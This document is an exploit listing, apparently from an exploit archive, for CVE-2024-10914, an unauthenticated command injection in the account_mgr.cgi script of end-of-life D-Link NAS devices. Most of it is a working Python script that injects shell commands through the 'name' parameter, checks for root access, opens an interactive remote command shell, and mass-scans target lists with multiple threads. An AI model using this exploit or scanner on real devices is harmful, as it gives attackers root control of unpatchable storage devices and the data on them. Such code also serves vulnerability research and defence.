D-Link DNS_340L Exploit, OS Command Injection

# Exploit Title: D-Link DNS_340L - OS Command Injection
# Date: 2026-07-16
# Exploit Author: Jared Brits (K3ysTr0K3R)
# Vendor Homepage: https://www.dlink.com/
# Version: DNS-320 (v1.00), DNS-320LW (v1.01.0914.2012), DNS-325 (v1.01, v1.02), DNS-340L (v1.08), and possibly others
# Tested on: D-Link DNS-320
# CVE: CVE-2024-10914
# CVSS Score: 9.8 (Critical)
# Description: The /cgi-bin/account_mgr.cgi script on several D‑Link NAS devices is vulnerable to
# unauthenticated command injection. The cgi_user_add command accepts a 'name' parameter
# that is directly concatenated into a system() call without any sanitisation.
# By injecting a semicolon‑terminated command, an attacker can execute arbitrary
# operating system commands with root privileges.
#
# Confirmed affected models include DNS‑320, DNS‑320LW, DNS‑325, and DNS‑340L.
# D‑Link has officially declared these products End of Life and will not release
# a fix for this issue. There is evidence that this vulnerability is
# already being exploited in the wild. The CVSSv3 base score is 9.8 (Critical).

import re
import requests
from rich import print
import argparse
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

def ascii_art():
    print("[bold bright_magenta]   _______    ________    ___   ____ ___  __ __       _______  ____ _____ __[/bold bright_magenta]")
    print("[bold bright_magenta]  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      <  / __ \/ __ <  / // /[/bold bright_magenta]")
    print("[bold bright_magenta] / /    | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ / / // /_[/bold bright_magenta]")
    print("[bold bright_magenta]/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ / /_/ /\__, / /__  __/[/bold bright_magenta]")
    print("[bold bright_magenta]\____/  |___/_____/    /____/\____/____/ /_/       /_/\____//____/_/  /_/[/bold bright_magenta]")
    print("")
    print("Coded By: Jared Brits (K3ysTr0K3R)")
    print("")

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

payload = ["id"]
endpoint = "/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'"
headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36'}

def check_vulnerability(target):
    for command in payload:
        url = f"{target}{endpoint.format(command)}"
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            response.raise_for_status()
            matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text)
            if matcher:
                print(f"[green][+] [/green]The target appears to be vulnerable")
                print(f"[green][+] [/green]Response: {matcher[0]}")
                return True
        except requests.RequestException:
            pass

def exploit(target):
    session = PromptSession(
        HTML("<ansicyan>Interactive Shell:</ansicyan> "),
        history=InMemoryHistory(),
    )

    print("[blue][*] [/blue]Interactive session shell started. Type 'exit' to quit")
    print("")

    while True:
        try:
            command = session.prompt(HTML("<ansicyan>~$</ansicyan> ")).strip()
            if command.lower() in ["exit", "quit"]:
                print("[blue][*] [/blue]Exiting interactive session")
                break

            url = f"{target}{endpoint.format(command)}"
            response = requests.get(url, headers=headers, timeout=10, verify=False)

            if response.status_code == 200:
                output = re.sub(r"Content-type:.*\n?", "", response.text).strip()
                print(output)
            else:
                print(f"[yellow][!] [/yellow]Command failed with status code: {response.status_code}")

        except KeyboardInterrupt:
            print("\n[blue][*] [/blue]Exiting interactive session")
            break
        except requests.RequestException:
            print(f"[yellow][!] [/yellow]An error occurred")

def vuln_spray(target):
    for command in payload:
        url = f"{target}{endpoint.format(command)}"
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            response.raise_for_status()
            matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text)
            if matcher:
                return True
        except requests.RequestException:
            pass

def scan_file(file_path, threads):
    with open(file_path, 'r') as file:
        targets = [line.strip() for line in file if line.strip()]

    with alive_bar(len(targets), title="Scanning Targets", enrich_print=False) as bar:
        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = {executor.submit(vuln_spray, target): target for target in targets}
            for future in as_completed(futures):
                bar()
                target = futures[future]
                try:
                    if future.result():
                        print(f"[green][+] [/green]Target [bright_red]{target}[/bright_red] is vulnerable")
                except Exception:
                    pass

if __name__ == "__main__":
    ascii_art()
    parser = argparse.ArgumentParser(description="A PoC exploit for CVE-2024-10914 - D-Link Remote Code Execution (RCE)")
    parser.add_argument("-u", "--url", help="Single target URL to test")
    parser.add_argument("-f", "--file", help="File containing list of target URLs to scan")
    parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads to use for scanning (default: 5)")

    args = parser.parse_args()

    if args.url:
        print("[blue][*] [/blue]Checking if the target is vulnerable")
        if check_vulnerability(args.url):
            print("[blue][*] [/blue]Starting interactive session shell")
            exploit(args.url)
        else:
            print("[red][-] [/red]Target is not vulnerable")
    elif args.file:
        print(f"[blue][*] [/blue]Scanning targets from file: [bright_red]{args.file}[bright_red]")
        print(f"[blue][*] [/blue]Using {args.threads} threads for scanning")
        scan_file(args.file, args.threads)
    else:
        print("[red][-] [/red]Please provide either a URL with -u or a file with -f")

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD